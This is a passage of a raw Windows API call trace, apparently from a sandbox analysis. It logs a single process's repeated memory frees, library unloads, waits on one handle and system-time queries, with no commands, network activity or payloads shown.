(_Block=0x20abc2867b0) [0197.704] free (_Block=0x20abc27cb20) [0197.704] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x319bb093, dwHighDateTime=0x1d9eb0c)) [0197.710] free (_Block=0x20abc281bc0) [0197.710] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.711] free (_Block=0x20abc2867b0) [0197.712] free (_Block=0x20abc27cb20) [0197.713] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x319da5ef, dwHighDateTime=0x1d9eb0c)) [0197.720] free (_Block=0x20abc281fe0) [0197.720] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.721] free (_Block=0x20abc2867b0) [0197.722] free (_Block=0x20abc27cb20) [0197.722] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.746] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.746] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31b0b984, dwHighDateTime=0x1d9eb0c)) [0197.844] free (_Block=0x20abc282040) [0197.845] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.845] free (_Block=0x20abc2867b0) [0197.846] free (_Block=0x20abc27cb20) [0197.846] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31b0b984, dwHighDateTime=0x1d9eb0c)) [0197.852] free (_Block=0x20abc281aa0) [0197.852] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.853] free (_Block=0x20abc2867b0) [0197.853] free (_Block=0x20abc27cf80) [0197.853] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31b31c36, dwHighDateTime=0x1d9eb0c)) [0197.860] free (_Block=0x20abc282040) [0197.860] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.862] free (_Block=0x20abc2867b0) [0197.863] free (_Block=0x20abc27cb20) [0197.863] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31b31c36, dwHighDateTime=0x1d9eb0c)) [0197.868] free (_Block=0x20abc281ae0) [0197.869] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.869] free (_Block=0x20abc2867b0) [0197.869] free (_Block=0x20abc27cb20) [0197.870] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31b580cc, dwHighDateTime=0x1d9eb0c)) [0197.876] free (_Block=0x20abc281fa0) [0197.876] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.877] free (_Block=0x20abc2867b0) [0197.877] free (_Block=0x20abc27cf80) [0197.877] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0197.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31b580cc, dwHighDateTime=0x1d9eb0c)) [0197.884] free (_Block=0x20abc281960) [0197.884] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0197.884] free (_Block=0x20abc2867b0) [0197.885] free (_Block=0x20abc27cf80) [0197.885] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31c8fb3c, dwHighDateTime=0x1d9eb0c)) [0198.000] free (_Block=0x20abc281c60) [0198.000] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.001] free (_Block=0x20abc2867b0) [0198.002] free (_Block=0x20abc27cf80) [0198.002] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.011] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31caf276, dwHighDateTime=0x1d9eb0c)) [0198.012] free (_Block=0x20abc281a20) [0198.012] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.013] free (_Block=0x20abc2867b0) [0198.013] free (_Block=0x20abc2a8370) [0198.014] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31caf276, dwHighDateTime=0x1d9eb0c)) [0198.020] free (_Block=0x20abc281f60) [0198.020] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.021] free (_Block=0x20abc2867b0) [0198.022] free (_Block=0x20abc27cf80) [0198.022] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31cd561a, dwHighDateTime=0x1d9eb0c)) [0198.029] free (_Block=0x20abc281cc0) [0198.029] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.030] free (_Block=0x20abc2867b0) [0198.031] free (_Block=0x20abc27cf80) [0198.031] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31cd561a, dwHighDateTime=0x1d9eb0c)) [0198.038] free (_Block=0x20abc281de0) [0198.038] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.039] free (_Block=0x20abc2867b0) [0198.040] free (_Block=0x20abc27cf80) [0198.040] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31f19314, dwHighDateTime=0x1d9eb0c)) [0198.267] free (_Block=0x20abc281ea0) [0198.267] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.268] free (_Block=0x20abc2867b0) [0198.269] free (_Block=0x20abc27cf80) [0198.269] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31f37b87, dwHighDateTime=0x1d9eb0c)) [0198.278] free (_Block=0x20abc281fc0) [0198.278] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.278] free (_Block=0x20abc2867b0) [0198.279] free (_Block=0x20abc27cf80) [0198.280] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31f37b87, dwHighDateTime=0x1d9eb0c)) [0198.287] free (_Block=0x20abc281ea0) [0198.287] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.288] free (_Block=0x20abc2867b0) [0198.288] free (_Block=0x20abc27cf80) [0198.289] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31f5e12a, dwHighDateTime=0x1d9eb0c)) [0198.297] free (_Block=0x20abc2819e0) [0198.297] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.298] free (_Block=0x20abc2867b0) [0198.298] free (_Block=0x20abc27cf80) [0198.299] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x31f5e12a, dwHighDateTime=0x1d9eb0c)) [0198.307] free (_Block=0x20abc281960) [0198.307] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.308] free (_Block=0x20abc2867b0) [0198.309] free (_Block=0x20abc27cf80) [0198.309] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3208efd0, dwHighDateTime=0x1d9eb0c)) [0198.424] free (_Block=0x20abc281f60) [0198.425] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.425] free (_Block=0x20abc2867b0) [0198.426] free (_Block=0x20abc27cf80) [0198.427] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x320b589c, dwHighDateTime=0x1d9eb0c)) [0198.438] free (_Block=0x20abc281c20) [0198.438] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.438] free (_Block=0x20abc2867b0) [0198.439] free (_Block=0x20abc27cf80) [0198.439] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x321016bd, dwHighDateTime=0x1d9eb0c)) [0198.467] free (_Block=0x20abc281ea0) [0198.467] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.468] free (_Block=0x20abc2867b0) [0198.469] free (_Block=0x20abc27cf80) [0198.469] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x321016bd, dwHighDateTime=0x1d9eb0c)) [0198.477] free (_Block=0x20abc281e20) [0198.477] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.478] free (_Block=0x20abc2867b0) [0198.479] free (_Block=0x20abc27cf80) [0198.479] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32232949, dwHighDateTime=0x1d9eb0c)) [0198.596] free (_Block=0x20abc281d40) [0198.596] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.597] free (_Block=0x20abc2867b0) [0198.599] free (_Block=0x20abc27cf80) [0198.599] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32258d7e, dwHighDateTime=0x1d9eb0c)) [0198.606] free (_Block=0x20abc282080) [0198.606] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.607] free (_Block=0x20abc2867b0) [0198.608] free (_Block=0x20abc27cf80) [0198.608] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32258d7e, dwHighDateTime=0x1d9eb0c)) [0198.619] free (_Block=0x20abc281960) [0198.619] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.621] free (_Block=0x20abc2867b0) [0198.622] free (_Block=0x20abc2a8730) [0198.622] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.627] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3227f123, dwHighDateTime=0x1d9eb0c)) [0198.627] free (_Block=0x20abc281e00) [0198.628] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.629] free (_Block=0x20abc2867b0) [0198.630] free (_Block=0x20abc2a8d20) [0198.630] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x322a50ae, dwHighDateTime=0x1d9eb0c)) [0198.636] free (_Block=0x20abc2819e0) [0198.636] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.637] free (_Block=0x20abc2867b0) [0198.637] free (_Block=0x20abc2a82d0) [0198.637] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3238a31a, dwHighDateTime=0x1d9eb0c)) [0198.734] free (_Block=0x20abc281fa0) [0198.734] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.735] free (_Block=0x20abc2867b0) [0198.736] free (_Block=0x20abc2a8640) [0198.736] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3238a31a, dwHighDateTime=0x1d9eb0c)) [0198.745] free (_Block=0x20abc281c20) [0198.745] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.746] free (_Block=0x20abc2867b0) [0198.747] free (_Block=0x20abc27cb20) [0198.747] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x323b0220, dwHighDateTime=0x1d9eb0c)) [0198.755] free (_Block=0x20abc281d20) [0198.755] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.756] free (_Block=0x20abc2867b0) [0198.757] free (_Block=0x20abc27cb20) [0198.757] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0198.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x323d7453, dwHighDateTime=0x1d9eb0c)) [0198.768] free (_Block=0x20abc281ae0) [0198.768] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0198.769] free (_Block=0x20abc2867b0) [0198.770] free (_Block=0x20abc27cf80) [0198.770] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.027] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.028] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.261] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.261] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32ad7256, dwHighDateTime=0x1d9eb0c)) [0199.511] free (_Block=0x20abc281c40) [0199.511] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.512] free (_Block=0x20abc2867b0) [0199.512] free (_Block=0x20abc27cb20) [0199.513] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32afd462, dwHighDateTime=0x1d9eb0c)) [0199.519] free (_Block=0x20abc2819a0) [0199.519] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.520] free (_Block=0x20abc2867b0) [0199.520] free (_Block=0x20abc27cb20) [0199.520] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32b2379b, dwHighDateTime=0x1d9eb0c)) [0199.528] free (_Block=0x20abc281d60) [0199.528] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.529] free (_Block=0x20abc2867b0) [0199.531] free (_Block=0x20abc27cf80) [0199.531] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32b2379b, dwHighDateTime=0x1d9eb0c)) [0199.539] free (_Block=0x20abc282040) [0199.539] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.540] free (_Block=0x20abc2867b0) [0199.541] free (_Block=0x20abc27cb20) [0199.541] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32b499b6, dwHighDateTime=0x1d9eb0c)) [0199.549] free (_Block=0x20abc281c20) [0199.549] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.550] free (_Block=0x20abc2867b0) [0199.551] free (_Block=0x20abc27cb20) [0199.551] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32ce902d, dwHighDateTime=0x1d9eb0c)) [0199.717] free (_Block=0x20abc2819a0) [0199.717] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.717] free (_Block=0x20abc2867b0) [0199.718] free (_Block=0x20abc27cb20) [0199.718] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32ce902d, dwHighDateTime=0x1d9eb0c)) [0199.727] free (_Block=0x20abc281d20) [0199.727] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.727] free (_Block=0x20abc2867b0) [0199.730] free (_Block=0x20abc27cb20) [0199.730] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32d34d88, dwHighDateTime=0x1d9eb0c)) [0199.743] free (_Block=0x20abc281b40) [0199.743] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.744] free (_Block=0x20abc2867b0) [0199.745] free (_Block=0x20abc27cf80) [0199.745] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32d4730a, dwHighDateTime=0x1d9eb0c)) [0199.753] free (_Block=0x20abc281aa0) [0199.753] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.754] free (_Block=0x20abc2867b0) [0199.754] free (_Block=0x20abc27cb20) [0199.755] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32d4730a, dwHighDateTime=0x1d9eb0c)) [0199.760] free (_Block=0x20abc281ea0) [0199.760] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.761] free (_Block=0x20abc2867b0) [0199.761] free (_Block=0x20abc27cb20) [0199.762] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32eeb076, dwHighDateTime=0x1d9eb0c)) [0199.927] free (_Block=0x20abc282060) [0199.927] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.927] free (_Block=0x20abc2867b0) [0199.928] free (_Block=0x20abc27cb20) [0199.928] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32eeb076, dwHighDateTime=0x1d9eb0c)) [0199.938] free (_Block=0x20abc281fe0) [0199.939] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.940] free (_Block=0x20abc2867b0) [0199.941] free (_Block=0x20abc27cf80) [0199.941] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32f11339, dwHighDateTime=0x1d9eb0c)) [0199.946] free (_Block=0x20abc281ea0) [0199.946] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.947] free (_Block=0x20abc2867b0) [0199.948] free (_Block=0x20abc27cb20) [0199.948] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32f376f3, dwHighDateTime=0x1d9eb0c)) [0199.955] free (_Block=0x20abc281fa0) [0199.956] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.957] free (_Block=0x20abc2867b0) [0199.958] free (_Block=0x20abc27cb20) [0199.958] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0199.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x32f376f3, dwHighDateTime=0x1d9eb0c)) [0199.963] free (_Block=0x20abc2820c0) [0199.964] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0199.965] free (_Block=0x20abc2867b0) [0199.966] free (_Block=0x20abc27cb20) [0199.966] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3314d703, dwHighDateTime=0x1d9eb0c)) [0200.174] free (_Block=0x20abc281c20) [0200.174] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0200.175] free (_Block=0x20abc2867b0) [0200.176] free (_Block=0x20abc27cb20) [0200.176] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.181] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3314d703, dwHighDateTime=0x1d9eb0c)) [0200.182] free (_Block=0x20abc281d40) [0200.182] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0200.183] free (_Block=0x20abc2867b0) [0200.184] free (_Block=0x20abc27cb20) [0200.184] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x331739b9, dwHighDateTime=0x1d9eb0c)) [0200.192] free (_Block=0x20abc281c80) [0200.192] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0200.192] free (_Block=0x20abc2867b0) [0200.193] free (_Block=0x20abc27cf80) [0200.193] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.219] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.220] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3333d487, dwHighDateTime=0x1d9eb0c)) [0200.387] free (_Block=0x20abc281cc0) [0200.387] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0200.388] free (_Block=0x20abc2867b0) [0200.389] free (_Block=0x20abc27cb20) [0200.389] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3338a0de, dwHighDateTime=0x1d9eb0c)) [0200.409] free (_Block=0x20abc281dc0) [0200.409] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0200.410] free (_Block=0x20abc2867b0) [0200.410] free (_Block=0x20abc27cb20) [0200.411] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x3338a0de, dwHighDateTime=0x1d9eb0c)) [0200.418] free (_Block=0x20abc281a00) [0200.418] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0200.419] free (_Block=0x20abc2867b0) [0200.420] free (_Block=0x20abc27cb20) [0200.420] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0200.426] GetSystemTimeAsFileTime (in: 